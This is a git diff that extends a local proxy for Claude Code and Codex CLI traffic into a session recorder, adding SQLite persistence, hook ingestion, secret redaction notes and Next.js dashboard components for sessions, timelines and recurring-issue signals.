diff --git a/.gitignore b/.gitignore
index ac5a412..5584951 100644
--- a/.gitignore
+++ b/.gitignore
@@ -4,7 +4,14 @@ dashboard/node_modules/
 # Build outputs
 dashboard/.next/
 dashboard/out/
+*.tsbuildinfo
 proxy/damascus-proxy
+proxy/claude-code-proxy
+
+# Local databases (SQLite flight recorder)
+*.db
+*.db-wal
+*.db-shm
 
 # IDE
 .idea/
diff --git a/README.md b/README.md
index e5abb55..2e2190f 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,8 @@
 # Claude Code Proxy
 
-A high-performance reverse proxy for intercepting AI coding assistant CLI traffic, with a real-time Next.js dashboard for observability.
+A reverse proxy + **session flight recorder** for AI coding assistant CLIs, with a real-time
+Next.js dashboard. It intercepts API traffic, ingests Claude Code lifecycle hooks, correlates
+the two into durable **coding sessions**, and replays them as normalized timelines.
 
 **Supported CLIs:**
 - **Claude Code** → Anthropic API
@@ -9,14 +11,19 @@ A high-performance reverse proxy for intercepting AI coding assistant CLI traffi
 ## Architecture
 
 ```
-Claude Code CLI → Go Proxy (localhost:8080) → api.anthropic.com
-Codex CLI       →            ↓              → api.openai.com
-                        WebSocket broadcast
-                              ↓
-                    Next.js Dashboard (localhost:3000)
+Claude Code / Codex CLI ──API──▶ Go Proxy (:8080) ──▶ api.anthropic.com / api.openai.com
+Claude Code hooks ──POST /events/claude-code──▶ Control plane (:8081)
+                                                      │
+                              redact ▶ correlate ▶ SQLite (sessions, events, requests)
+                                                      │
+                                          WebSocket + REST broadcast
+                                                      ▼
+                                       Next.js Dashboard (localhost:3000)
 ```
 
-The proxy auto-detects the provider based on request headers.
+The proxy auto-detects the provider based on request headers. API requests are correlated to
+the owning session best-effort (prompt content match, with a most-recent-active fallback) since
+the API itself carries no session id. Secrets are redacted before anything is persisted.
 
 ## Quick Start
 
@@ -67,35 +74,92 @@ codex
 
 You can run both CLIs simultaneously - the proxy auto-detects the provider based on request headers.
 
+### 4. Install Claude Code hooks (enables session timelines)
+
+Without hooks you still get request traffic; with hooks you get full coding **sessions**
+(boundaries, prompts, tool calls, file changes) correlated to that traffic.
+
+```bash
+./install/install-hooks.sh           # merges into ~/.claude/settings.json (backs up first)
+./install/install-hooks.sh --print   # just print the hook JSON to merge manually
+```
+
+The hooks are portable, non-blocking `curl` commands that POST the hook JSON to
+`http://localhost:8081/events/claude-code`. Start a new Claude Code session afterwards.
+
+## Configuration
+
+Environment variables (all optional):
+
+| Variable | Default | Purpose |
+| --- | --- | --- |
+| `CCPROXY_PROXY_ADDR` | `:8080` | reverse proxy listen address |
+| `CCPROXY_CONTROL_ADDR` | `:8081` | control plane (WS + hooks + REST) |
+| `CCPROXY_DB_PATH` | `~/.claude-code-proxy/data.db` | SQLite database path |
+| `CCPROXY_DASHBOARD_TOKEN` | _(unset)_ | bearer token guarding the control plane + WS |
+| `NEXT_PUBLIC_CCPROXY_HOST` | `localhost:8081` | dashboard → control plane host |
+| `NEXT_PUBLIC_CCPROXY_TOKEN` | _(unset)_ | dashboard bearer token (match the proxy) |
+
+## Control-plane API (`:8081`)
+
+```
+GET  /health
+GET  /ws                       WebSocket stream (sessions + requests)
+POST /events/claude-code       Claude Code hook ingestion
+GET  /sessions                 list sessions (newest first)
+GET  /sessions/{id}            one session
+GET  /sessions/{id}/timeline   normalized timeline (hook events + correlated requests)
+```
+
 ## Features
 
+- **Coding sessions**: hook-driven session boundaries, prompts, tool calls, file changes
+- **Normalized timeline**: per-session merge of lifecycle events and API requests
+- **Durable storage**: SQLite (survives restarts), pure-Go driver (no cgo)
+- **Secret redaction**: API keys, tokens, AWS keys, PEM blocks scrubbed before persistence
 - **Real-time streaming**: Watch SSE events as they arrive
 - **Request/Response inspection**: View headers, body, and parsed JSON
-- **Token tracking**: Monitor input/output token usage per request
+- **Token tracking**: input/output token usage per request and per session
 - **Dark theme**: Easy on the eyes during long sessions
 - **Auto-reconnect**: Dashboard reconnects automatically if proxy restarts
 
 ## Project Structure
 
 ```
-damascus/
-├── proxy/                    # Go reverse proxy
-│   ├── main.go              # Entry point
-│   ├── proxy.go             # Reverse proxy logic
+claude-code-proxy/
+├── proxy/                    # Go reverse proxy + control plane
+│   ├── main.go              # Entry point / wiring
+│   ├── config.go            # Env configuration
+│   ├── proxy.go             # Reverse proxy, redaction, correlation, persistence
 │   ├── sse.go               # SSE stream parser
-│   ├── store.go             # In-memory request storage
-│   ├── websocket.go         # WebSocket server
+│   ├── store.go             # In-memory live request cache
+│   ├── websocket.go         # WebSocket hub (sessions + requests)
+│   ├── hooks.go             # Hook ingestion + session lifecycle
+│   ├── correlation.go       # API-request → session correlation
+│   ├── redact.go            # Secret redaction
+│   ├── repository.go        # SQLite repository
+│   ├── db.go / schema.sql   # Database open + schema
+│   ├── api.go               # /sessions REST endpoints + auth
 │   └── types.go             # Shared types
-├── dashboard/               # Next.js dashboard
+├── dashboard/               # Next.js dashboard (sessions-first)
 │   └── src/app/
-│       ├── page.tsx         # Main dashboard
+│       ├── page.tsx         # Sessions | Requests views
 │       ├── components/      # UI components
-│       └── hooks/           # WebSocket hook
+│       ├── hooks/           # WebSocket hook
+│       └── lib/api.ts       # Control-plane host/token config
+├── install/                 # Claude Code hook installer
+│   ├── hooks.example.json
+│   └── install-hooks.sh
 └── README.md
 ```
 
 ## Security Notes
 
-- API keys are automatically redacted in the dashboard
-- The proxy only stores requests in memory (clears on restart)
-- WebSocket accepts connections from any origin (development mode)
+- Secrets (API keys, tokens, AWS keys, PEM private keys, bearer tokens) are redacted from
+  request/response/hook payloads **before** they are written to disk or broadcast.
+- Sensitive headers (`X-Api-Key`, `Authorization`) are redacted.
+- Sessions and requests are persisted to SQLite at `CCPROXY_DB_PATH` and survive restarts.
+- The WebSocket only accepts same-host (localhost) origins; set `CCPROXY_DASHBOARD_TOKEN` to
+  require a bearer token on the control plane.
+- Redaction is best-effort pattern matching — review before sharing a database file, and treat
+  the control-plane port as local-only.
diff --git a/dashboard/CLAUDE.md b/dashboard/CLAUDE.md
index 0fe1236..3060a0e 100644
--- a/dashboard/CLAUDE.md
+++ b/dashboard/CLAUDE.md
@@ -4,13 +4,16 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
 
 ## Project Overview
 
-Damascus Dashboard is a Next.js 14 real-time observability UI for monitoring Claude Code API traffic. It connects via WebSocket to a proxy server (running on `ws://localhost:8081/ws`) to display request/response data, streaming SSE events, and token usage statistics.
+The Claude Code Proxy Dashboard is a Next.js 14 real-time observability UI for the Claude Code
+Proxy "Flight Recorder". It connects via WebSocket to the proxy control plane (default
+`ws://localhost:8081/ws`) to display **coding sessions** and the API request/response traffic,
+streaming SSE events, and token usage within them. It also reads session timelines over REST.
 
 ## Commands
 
 ```bash
 npm run dev    # Start development server
-npm run build  # Build for production
+npm run build  # Build for production (also runs typecheck)
 npm run lint   # Run ESLint
 npm run start  # Run production build
 ```
@@ -18,29 +21,37 @@ npm run start  # Run production build
 ## Architecture
 
 ### Data Flow
-1. A separate proxy server (not in this repo) captures Claude API traffic and broadcasts events via WebSocket
-2. The dashboard connects to `ws://localhost:8081/ws` and receives real-time updates
-3. WebSocket messages follow the `WSMessage` protocol defined in `src/app/types.ts`
+1. The Go proxy captures Claude/Codex API traffic and ingests Claude Code lifecycle hooks,
+   persists them to SQLite, and broadcasts events via WebSocket.
+2. The dashboard connects to `ws://localhost:8081/ws` and receives real-time updates.
+3. Session timelines are fetched on demand via `GET /sessions/{id}/timeline`.
+4. WebSocket messages follow the `WSMessage` protocol defined in `src/app/types.ts`.
 
 ### WebSocket Message Types
-- `INIT`: Initial state with all existing requests
-- `REQUEST_START`: New request started
-- `RESPONSE_CHUNK`: SSE event chunk from streaming response
-- `REQUEST_COMPLETE`: Request finished with final data
+- `INIT`: Initial state — all existing requests **and** sessions
+- `REQUEST_START` / `RESPONSE_CHUNK` / `REQUEST_COMPLETE`: API request lifecycle
+- `SESSION_START`: a new session was observed (from a hook)
+- `SESSION_UPDATE`: a session's fields changed (activity, tokens, status)
+- `SESSION_EVENT`: a normalized timeline event was appended (detail fetched via REST)
+
+### Control-plane connection
+`src/app/lib/api.ts` centralizes the host/token. Override with `NEXT_PUBLIC_CCPROXY_HOST`
+(default `localhost:8081`) and `NEXT_PUBLIC_CCPROXY_TOKEN` (when the proxy sets
+`CCPROXY_DASHBOARD_TOKEN`).
 
 ### Component Structure
-- `page.tsx` - Main dashboard layout with master-detail view
-- `hooks/useWebSocket.ts` - WebSocket connection with auto-reconnect handling
-- `components/StatsBar.tsx` - Connection status and aggregate token counts
-- `components/RequestList.tsx` - Scrollable list of captured requests
-- `components/RequestDetail.tsx` - Tabbed detail view (Request/Response/Stream)
-- `components/StreamViewer.tsx` - Real-time SSE event viewer with auto-scroll
-- `components/JsonViewer.tsx` - Collapsible JSON display using `@uiw/react-json-view`
+- `page.tsx` — master-detail layout with a **Sessions | Requests** view toggle
+- `hooks/useWebSocket.ts` — WebSocket connection (auto-reconnect); tracks requests + sessions
+- `components/SessionList.tsx` — sessions (repo, branch, prompt, tokens, duration, status)
+- `components/SessionDetail.tsx` — session header + timeline + member requests
+- `components/Timeline.tsx` — normalized session timeline (hook events + API requests)
+- `components/RequestList.tsx` / `RequestDetail.tsx` — per-request inspection (reused)
+- `components/ConversationView.tsx` — reconstructs conversation + tool blocks from SSE
+- `components/StreamViewer.tsx` / `JsonViewer.tsx` — raw stream + JSON display
 
 ### Key Types (`types.ts`)
-- `RequestRecord`: Complete request/response data including headers, body, stream events, and token counts
-- `SSEEvent`: Individual Server-Sent Event with event type and data
-- `WSMessage`: WebSocket protocol messages
+- `Session`, `SessionEvent`, `TimelineEvent`: session-level model
+- `RequestRecord` (now carries `sessionId`, `redactionHits`), `SSEEvent`, `WSMessage`
 
 ## Tech Stack
 - Next.js 14 with App Router
diff --git a/dashboard/src/app/components/SessionDetail.tsx b/dashboard/src/app/components/SessionDetail.tsx
new file mode 100644
index 0000000..f068f00
--- /dev/null
+++ b/dashboard/src/app/components/SessionDetail.tsx
@@ -0,0 +1,161 @@
+'use client';
+
+import { useEffect, useState } from 'react';
+import { RequestRecord, Session, Signal, TimelineEvent } from '../types';
+import { apiGet } from '../lib/api';
+import { signalLabel, severityClasses } from '../lib/signals';
+import { Timeline } from './Timeline';
+import { RequestDetail } from './RequestDetail';
+
+interface SessionDetailProps {
+  session: Session | null;
+  requests: RequestRecord[];
+}
+
+export function SessionDetail({ session, requests }: SessionDetailProps) {
+  const [timeline, setTimeline] = useState<TimelineEvent[]>([]);
+  const [signals, setSignals] = useState<Signal[]>([]);
+  const [selectedReqId, setSelectedReqId] = useState<string | null>(null);
+
+  const sessionId = session?.id;
+  // Re-fetch the timeline whenever the session changes or registers new activity. The
+  // SESSION_UPDATE that accompanies every hook/request bumps lastActivityAt, so this stays live.
+  const activity = session?.lastActivityAt;
+
+  useEffect(() => {
+    setSelectedReqId(null);
+  }, [sessionId]);
+
+  useEffect(() => {
+    if (!sessionId) {
+      setTimeline([]);
+      return;
+    }
+    let cancelled = false;
+    apiGet<TimelineEvent[]>(`/sessions/${encodeURIComponent(sessionId)}/timeline`)
+      .then((tl) => { if (!cancelled) setTimeline(tl); })
+      .catch(() => { if (!cancelled) setTimeline([]); });
+    apiGet<Signal[]>(`/sessions/${encodeURIComponent(sessionId)}/signals`)
+      .then((s) => { if (!cancelled) setSignals(s); })
+      .catch(() => { if (!cancelled) setSignals([]); });
+    return () => { cancelled = true; };
+  }, [sessionId, activity]);
+
+  if (!session) {
+    return (
+      <div className="flex items-center justify-center h-full text-zinc-500">
+        <p>Select a session to view its timeline</p>
+      </div>
+    );
+  }
+
+  const memberRequests = requests.filter((r) => r.sessionId === session.id);
+  const selectedRequest = selectedReqId
+    ? requests.find((r) => r.id === selectedReqId) || null
+    : null;
+
+  if (selectedRequest) {
+    return (
+      <div className="h-full flex flex-col">
+        <button
+          onClick={() => setSelectedReqId(null)}
+          className="text-left px-3 py-2 text-xs text-zinc-400 hover:text-zinc-200 border-b border-zinc-800 bg-zinc-900"
+        >
+          ← Back to session timeline
+        </button>
+        <div className="flex-1 overflow-hidden">
+          <RequestDetail request={selectedRequest} />
+        </div>
+      </div>
+    );
+  }
+
+  const totalTokens = (session.inputTokens || 0) + (session.outputTokens || 0);
+
+  return (
+    <div className="h-full flex flex-col">
+      {/* Session header */}
+      <div className="p-3 bg-zinc-900 border-b border-zinc-800">
+        <div className="flex items-center gap-2 mb-2">
+          <span
+            className={`px-2 py-0.5 text-xs font-medium rounded ${
+              session.status === 'active'
+                ? 'bg-green-900 text-green-300'
+                : 'bg-zinc-800 text-zinc-400'
+            }`}
+          >
+            {session.status}
+          </span>
+          <span className="text-sm font-mono text-zinc-300 truncate">{session.cwd || session.id}</span>
+        </div>
+        <div className="flex flex-wrap items-center gap-x-4 gap-y-1 text-xs text-zinc-500">
+          <span>ID: {session.id.slice(0, 8)}</span>
+          {session.model && <span>Model: {session.model}</span>}
+          {session.packageManager && <span>Pkg: {session.packageManager}</span>}
+          {session.gitBranch && <span>Branch: {session.gitBranch}</span>}
+          <span>Requests: {session.requestCount}</span>
+          {totalTokens > 0 && <span>Tokens: {totalTokens.toLocaleString()}</span>}
+          {session.permissionMode && <span>Mode: {session.permissionMode}</span>}
+        </div>
+        {session.firstPrompt && (
+          <div className="mt-2 text-sm text-zinc-300 bg-zinc-950 rounded p-2 max-h-24 overflow-y-auto whitespace-pre-wrap">
+            {session.firstPrompt}
+          </div>
+        )}
+      </div>
+
+      {/* Body: signals + timeline + member requests */}
+      <div className="flex-1 overflow-y-auto">
+        {signals.length > 0 && (
+          <div className="border-b border-zinc-800 p-3 space-y-2">
+            <div className="text-xs font-medium text-zinc-400 uppercase tracking-wide">
+              Signals ({signals.length})
+            </div>
+            {signals.map((s, i) => (
+              <div key={i} className="flex items-start gap-2 text-sm">
+                <span className={`text-[10px] px-1.5 py-0.5 rounded uppercase shrink-0 mt-0.5 ${severityClasses(s.severity)}`}>
+                  {s.severity}
+                </span>
+                <div className="min-w-0">
+                  <div className="text-zinc-200">{signalLabel(s.type)}</div>
+                  <div className="text-xs text-zinc-500">{s.summary}</div>
+                </div>
+              </div>
+            ))}
+          </div>
+        )}
+
+        <div className="px-3 py-2 text-xs font-medium text-zinc-400 uppercase tracking-wide">
+          Timeline
+        </div>
+        <Timeline events={timeline} onSelectRequest={setSelectedReqId} />
+
+        {memberRequests.length > 0 && (
+          <div className="border-t border-zinc-800 mt-2">
+            <div className="px-3 py-2 text-xs font-medium text-zinc-400 uppercase tracking-wide">
+              Requests ({memberRequests.length})
+            </div>
+            {memberRequests.map((r) => (
+              <div
+                key={r.id}
+                onClick={() => setSelectedReqId(r.id)}
+                className="px-3 py-2 border-b border-zinc-800/60 cursor-pointer hover:bg-zinc-800/50 flex items-center justify-between text-xs"
+              >
+                <span className="font-mono text-zinc-400 truncate">{r.path}</span>
+                <div className="flex items-center gap-3 text-zinc-500 shrink-0">
+                  {r.model && <span>{r.model}</span>}
+                  {(r.inputTokens > 0 || r.outputTokens > 0) && (
+                    <span>{(r.inputTokens + r.outputTokens).toLocaleString()} tok</span>
+                  )}
+                  <span className={r.status >= 400 ? 'text-red-400' : 'text-green-400'}>
+                    {r.status || '...'}
+                  </span>
+                </div>
+              </div>
+            ))}
+          </div>
+        )}
+      </div>
+    </div>
+  );
+}
diff --git a/dashboard/src/app/components/SessionList.tsx b/dashboard/src/app/components/SessionList.tsx
new file mode 100644
index 0000000..09fe208
--- /dev/null
+++ b/dashboard/src/app/components/SessionList.tsx
@@ -0,0 +1,91 @@
+'use client';
+
+import { Session } from '../types';
+
+interface SessionListProps {
+  sessions: Session[];
+  selectedId: string | null;
+  onSelect: (id: string) => void;
+}
+
+function repoLabel(s: Session): string {
+  if (!s.cwd) return 'unknown';
+  const parts = s.cwd.replace(/\/+$/, '').split('/');
+  return parts[parts.length - 1] || s.cwd;
+}
+
+function formatTime(ts: string): string {
+  return new Date(ts).toLocaleTimeString('en-US', {
+    hour12: false, hour: '2-digit', minute: '2-digit', second: '2-digit',
+  });
+}
+
+function durationLabel(s: Session): string {
+  const start = new Date(s.startedAt).getTime();
+  const end = new Date(s.endedAt || s.lastActivityAt).getTime();
+  const ms = Math.max(0, end - start);
+  if (ms < 1000) return `${ms}ms`;
+  const secs = Math.round(ms / 1000);
+  if (secs < 60) return `${secs}s`;
+  const mins = Math.floor(secs / 60);
+  return `${mins}m ${secs % 60}s`;
+}
+
+export function SessionList({ sessions, selectedId, onSelect }: SessionListProps) {
+  if (sessions.length === 0) {
+    return (
+      <div className="flex items-center justify-center h-full text-zinc-500">
+        <div className="text-center px-6">
+          <p className="text-lg">No sessions yet</p>
+          <p className="text-sm mt-1">
+            Install the Claude Code hooks so sessions appear here.
+          </p>
+        </div>
+      </div>
+    );
+  }
+
+  return (
+    <div className="overflow-y-auto h-full">
+      {sessions.map((s) => {
+        const totalTokens = (s.inputTokens || 0) + (s.outputTokens || 0);
+        return (
+          <div
+            key={s.id}
+            onClick={() => onSelect(s.id)}
+            className={`px-3 py-2.5 border-b border-zinc-800 cursor-pointer hover:bg-zinc-800/50 transition-colors ${
+              selectedId === s.id ? 'bg-zinc-800' : ''
+            }`}
+          >
+            <div className="flex items-center gap-2 mb-1">
+              <span
+                className={`w-2 h-2 rounded-full shrink-0 ${
+                  s.status === 'active' ? 'bg-green-500' : 'bg-zinc-600'
+                }`}
+              />
+              <span className="text-sm font-medium text-zinc-200 truncate">{repoLabel(s)}</span>
+              {s.gitBranch && (
+                <span className="text-[10px] px-1.5 py-0.5 rounded bg-zinc-800 text-zinc-400 truncate">
+                  {s.gitBranch}
+                </span>
+              )}
+            </div>
+
+            {s.firstPrompt && (
+              <div className="text-xs text-zinc-400 line-clamp-2 mb-1">{s.firstPrompt}</div>
+            )}
+
+            <div className="flex items-center justify-between text-xs text-zinc-500">
+              <span>{formatTime(s.startedAt)}</span>
+              <div className="flex items-center gap-3">
+                <span>{s.requestCount} req</span>
+                {totalTokens > 0 && <span>{totalTokens.toLocaleString()} tok</span>}
+                <span>{durationLabel(s)}</span>
+              </div>
+            </div>
+          </div>
+        );
+      })}
+    </div>
+  );
+}
diff --git a/dashboard/src/app/components/SignalsView.tsx b/dashboard/src/app/components/SignalsView.tsx
new file mode 100644
index 0000000..1b79655
--- /dev/null
+++ b/dashboard/src/app/components/SignalsView.tsx
@@ -0,0 +1,98 @@
+'use client';
+
+import { useCallback, useEffect, useRef, useState } from 'react';
+import { Session, SignalGroup } from '../types';
+import { apiGet } from '../lib/api';
+import { signalLabel, signalHint, severityClasses, fixTypeLabel } from '../lib/signals';
+
+interface SignalsViewProps {
+  sessions: Session[];
+  onSelectSession: (id: string) => void;
+}
+
+export function SignalsView({ sessions, onSelectSession }: SignalsViewProps) {
+  const [groups, setGroups] = useState<SignalGroup[]>([]);
+  const [loading, setLoading] = useState(true);
+  const mounted = useRef(true);
+
+  const load = useCallback(() => {
+    apiGet<SignalGroup[]>('/signals')
+      .then((g) => { if (mounted.current) { setGroups(g); setLoading(false); } })
+      .catch(() => { if (mounted.current) { setGroups([]); setLoading(false); } });
+  }, []);
+
+  useEffect(() => { mounted.current = true; return () => { mounted.current = false; }; }, []);
+
+  // Load on mount and whenever a *new* session appears; the aggregate is server-cached and not
+  // tied to per-session activity churn (avoids O(all events) work on every SESSION_UPDATE).
+  useEffect(() => { load(); }, [load, sessions.length]);
+
+  // Light periodic refresh while this view is open (it only mounts on the Signals tab).
+  useEffect(() => {
+    const id = setInterval(load, 15000);
+    return () => clearInterval(id);
+  }, [load]);
+
+  if (loading && groups.length === 0) {
+    return <div className="p-6 text-sm text-zinc-500">Analyzing sessions…</div>;
+  }
+
+  if (groups.length === 0) {
+    return (
+      <div className="flex items-center justify-center h-full text-zinc-500">
+        <div className="text-center px-8 max-w-md">
+          <p className="text-lg">No recurring issues detected yet</p>
+          <p className="text-sm mt-2">
+            As more sessions are recorded, patterns like wrong package managers, repeated
+            failing commands, generated-file edits, and human corrections will surface here.
+          </p>
+        </div>
+      </div>
+    );
+  }
+
+  const total = groups.reduce((n, g) => n + g.count, 0);
+
+  return (
+    <div className="h-full overflow-y-auto p-4">
+      <div className="mb-4">
+        <h2 className="text-base font-semibold text-zinc-200">Top recurring issues</h2>
+        <p className="text-sm text-zinc-500">
+          {total} occurrence{total === 1 ? '' : 's'} across {sessions.length} session
+          {sessions.length === 1 ? '' : 's'}
+        </p>
+      </div>
+
+      <div className="space-y-3">
+        {groups.map((g) => (
+          <div key={g.type} className="border border-zinc-800 rounded-lg p-4 bg-zinc-900/40">
+            <div className="flex items-center gap-2 mb-1">
+              <span className={`text-[10px] px-1.5 py-0.5 rounded uppercase tracking-wide ${severityClasses(g.severity)}`}>
+                {g.severity}
+              </span>
+              <span className="text-sm font-medium text-zinc-100">{signalLabel(g.type)}</span>
+              <span className="ml-auto text-2xl font-semibold text-zinc-100 tabular-nums">{g.count}</span>
+            </div>
+            <p className="text-sm text-zinc-400">{signalHint(g.type)}</p>
+            <div className="flex items-center gap-2 mt-3 flex-wrap">
+              <span className="text-[11px] text-zinc-500">Suggested fix:</span>
+              <span className="text-[11px] px-1.5 py-0.5 rounded bg-emerald-900/50 text-emerald-300">
+                {fixTypeLabel(g.suggestedFixType)}
+              </span>
+              <span className="text-[11px] text-zinc-600 ml-auto">examples:</span>
+              {g.sessions.slice(0, 5).map((sid) => (
+                <button
+                  key={sid}
+                  onClick={() => onSelectSession(sid)}
+                  className="text-[11px] font-mono px-1.5 py-0.5 rounded bg-zinc-800 text-zinc-400 hover:text-zinc-200"
+                >
+                  {sid.slice(0, 8)}
+                </button>
+              ))}
+            </div>
+          </div>
+        ))}
+      </div>
+    </div>
+  );
+}
diff --git a/dashboard/src/app/components/Timeline.tsx b/dashboard/src/app/components/Timeline.tsx
new file mode 100644
index 0000000..da6f8a3
--- /dev/null
+++ b/dashboard/src/app/components/Timeline.tsx
@@ -0,0 +1,121 @@
+'use client';
+
+import { Fragment } from 'react';
+import { TimelineEvent } from '../types';
+
+interface TimelineProps {
+  events: TimelineEvent[];
+  onSelectRequest?: (requestId: string) => void;
+}
+
+function isSubagentSpawn(e: TimelineEvent): boolean {
+  return e.type === 'tool.call' && (e.toolName === 'Task' || e.toolName === 'Agent');
+}
+
+function eventStyle(e: TimelineEvent): { dot: string; label: string } {
+  if (isSubagentSpawn(e)) return { dot: 'bg-violet-500', label: 'Subagent' };
+  switch (e.type) {
+    case 'session.start': return { dot: 'bg-green-500', label: 'Session start' };
+    case 'session.end': return { dot: 'bg-zinc-500', label: 'Session end' };
+    case 'prompt.submit': return { dot: 'bg-blue-500', label: 'Prompt' };
+    case 'api.request': return { dot: 'bg-purple-500', label: 'API request' };
+    case 'tool.call': return { dot: 'bg-cyan-500', label: 'Tool call' };
+    case 'tool.result': return { dot: 'bg-teal-500', label: 'Tool result' };
+    case 'tool.failure': return { dot: 'bg-red-500', label: 'Tool failure' };
+    case 'file.change': return { dot: 'bg-yellow-500', label: 'File change' };
+    case 'subagent.stop': return { dot: 'bg-violet-400', label: 'Subagent done' };
+    case 'precompact': return { dot: 'bg-zinc-600', label: 'Context compaction' };
+    case 'notification': return { dot: 'bg-zinc-600', label: 'Notification' };
+    case 'stop': return { dot: 'bg-zinc-600', label: 'Stop' };
+    default: return { dot: 'bg-zinc-600', label: e.type };
+  }
+}
+
+function formatTime(ts: string): string {
+  return new Date(ts).toLocaleTimeString('en-US', {
+    hour12: false, hour: '2-digit', minute: '2-digit', second: '2-digit',
+  });
+}
+
+export function Timeline({ events, onSelectRequest }: TimelineProps) {
+  if (events.length === 0) {
+    return (
+      <div className="px-4 py-6 text-sm text-zinc-500">
+        No timeline events yet. Install the Claude Code hooks to populate this view.
+      </div>
+    );
+  }
+
+  return (
+    <div className="relative pl-4">
+      {/* vertical rail */}
+      <div className="absolute left-[1.1rem] top-2 bottom-2 w-px bg-zinc-800" />
+      <ul className="space-y-1">
+        {events.map((e, i) => {
+          const style = eventStyle(e);
+          const clickable = e.type === 'api.request' && e.requestId && onSelectRequest;
+          // A turn boundary: promptId changes (groups a user turn's activity).
+          const newTurn = !!e.promptId && e.promptId !== events[i - 1]?.promptId && i > 0;
+          return (
+            <Fragment key={i}>
+            {newTurn && (
+              <li className="relative flex items-center gap-2 pl-1 pt-2 pb-0.5">
+                <span className="text-[10px] uppercase tracking-widest text-zinc-600">turn</span>
+                <span className="flex-1 border-t border-zinc-800/70" />
+              </li>
+            )}
+            <li
+              onClick={clickable ? () => onSelectRequest!(e.requestId!) : undefined}
+              className={`relative flex items-start gap-3 px-2 py-1.5 rounded ${
+                clickable ? 'cursor-pointer hover:bg-zinc-800/60' : ''
+              }`}
+            >
+              <span className={`mt-1.5 w-2 h-2 rounded-full shrink-0 z-10 ${style.dot}`} />
+              <span className="text-xs text-zinc-600 font-mono w-16 shrink-0 mt-0.5">
+                {formatTime(e.timestamp)}
+              </span>
+              <div className="min-w-0 flex-1">
+                <div className="flex items-center gap-2 flex-wrap">
+                  <span className="text-xs font-medium text-zinc-300">{style.label}</span>
+                  {e.toolName && (
+                    <span className="text-[10px] px-1.5 py-0.5 rounded bg-zinc-800 text-zinc-400">
+                      {e.toolName}
+                    </span>
+                  )}
+                  {e.commandCategory && (
+                    <span className="text-[10px] px-1.5 py-0.5 rounded bg-zinc-800 text-zinc-300">
+                      {e.commandCategory}
+                    </span>
+                  )}
+                  {e.packageManager && (
+                    <span className="text-[10px] px-1.5 py-0.5 rounded bg-indigo-900/60 text-indigo-300">
+                      {e.packageManager}
+                    </span>
+                  )}
+                  {typeof e.exitCode === 'number' && e.exitCode !== 0 && (
+                    <span className="text-[10px] px-1.5 py-0.5 rounded bg-red-900/60 text-red-300">
+                      exit {e.exitCode}
+                    </span>
+                  )}
+                  {e.model && (
+                    <span className="text-[10px] text-zinc-500">{e.model}</span>
+                  )}
+                </div>
+                {e.command ? (
+                  <div className={`text-xs font-mono truncate mt-0.5 ${e.success === false ? 'text-red-400' : 'text-zinc-400'}`}>
+                    $ {e.command}
+                  </div>
+                ) : (e.summary || e.filePath) ? (
+                  <div className="text-xs text-zinc-500 truncate mt-0.5">
+                    {e.filePath || e.summary}
+                  </div>
+                ) : null}
+              </div>
+            </li>
+            </Fragment>
+          );
+        })}
+      </ul>
+    </div>
+  );
+}
diff --git a/dashboard/src/app/hooks/useWebSocket.ts b/dashboard/src/app/hooks/useWebSocket.ts
index 94738da..c4af8b2 100644
--- a/dashboard/src/app/hooks/useWebSocket.ts
+++ b/dashboard/src/app/hooks/useWebSocket.ts
@@ -1,10 +1,22 @@
 'use client';
 
 import { useState, useEffect, useCallback, useRef } from 'react';
-import { RequestRecord, WSMessage } from '../types';
+import { RequestRecord, Session, WSMessage } from '../types';
+import { wsURL } from '../lib/api';
+
+function upsertSession(list: Session[], s: Session): Session[] {
+  const idx = list.findIndex(x => x.id === s.id);
+  if (idx === -1) {
+    return [s, ...list];
+  }
+  const next = list.slice();
+  next[idx] = s;
+  return next;
+}
 
 export function useWebSocket() {
   const [requests, setRequests] = useState<RequestRecord[]>([]);
+  const [sessions, setSessions] = useState<Session[]>([]);
   const [connected, setConnected] = useState(false);
   const wsRef = useRef<WebSocket | null>(null);
   const reconnectTimeoutRef = useRef<NodeJS.Timeout | null>(null);
@@ -14,7 +26,7 @@ export function useWebSocket() {
       return;
     }
 
-    const ws = new WebSocket('ws://localhost:8081/ws');
+    const ws = new WebSocket(wsURL());
     wsRef.current = ws;
 
     ws.onopen = () => {
@@ -38,6 +50,7 @@ export function useWebSocket() {
       switch (msg.type) {
         case 'INIT':
           setRequests(msg.requests || []);
+          setSessions(msg.sessions || []);
           break;
 
         case 'REQUEST_START':
@@ -65,6 +78,18 @@ export function useWebSocket() {
             ));
           }
           break;
+
+        case 'SESSION_START':
+        case 'SESSION_UPDATE':
+          if (msg.session) {
+            setSessions(prev => upsertSession(prev, msg.session!));
+          }
+          break;
+
+        case 'SESSION_EVENT':
+          // Timeline detail is fetched via REST; the SESSION_UPDATE that accompanies each
+          // event already refreshes the session row, which drives the detail re-fetch.
+          break;
       }
     };
   }, []);
@@ -86,5 +111,5 @@ export function useWebSocket() {
     setRequests([]);
   }, []);
 
-  return { requests, connected, clearRequests };
+  return { requests, sessions, connected, clearRequests };
 }
diff --git a/dashboard/src/app/lib/api.ts b/dashboard/src/app/lib/api.ts
new file mode 100644
index 0000000..3476517
--- /dev/null
+++ b/dashboard/src/app/lib/api.ts
@@ -0,0 +1,25 @@
+// Control-plane connection config. Override the host with NEXT_PUBLIC_CCPROXY_HOST
+// (e.g. "localhost:8081") and supply a token with NEXT_PUBLIC_CCPROXY_TOKEN when the proxy
+// has CCPROXY_DASHBOARD_TOKEN set.
+
+const HOST = process.env.NEXT_PUBLIC_CCPROXY_HOST || 'localhost:8081';
+const TOKEN = process.env.NEXT_PUBLIC_CCPROXY_TOKEN || '';
+
+export function wsURL(): string {
+  const base = `ws://${HOST}/ws`;
+  return TOKEN ? `${base}?token=${encodeURIComponent(TOKEN)}` : base;
+}
+
+export function apiURL(path: string): string {
+  return `http://${HOST}${path}`;
+}
+
+export async function apiGet<T>(path: string): Promise<T> {
+  const res = await fetch(apiURL(path), {
+    headers: TOKEN ? { Authorization: `Bearer ${TOKEN}` } : undefined,
+  });
+  if (!res.ok) {
+    throw new Error(`${path} -> ${res.status}`);
+  }
+  return res.json() as Promise<T>;
+}
diff --git a/dashboard/src/app/lib/signals.ts b/dashboard/src/app/lib/signals.ts
new file mode 100644
index 0000000..47f438b
--- /dev/null
+++ b/dashboard/src/app/lib/signals.ts
@@ -0,0 +1,62 @@
+// Shared presentation metadata for signal types, used by the Signals view and per-session
+// signal cards.
+
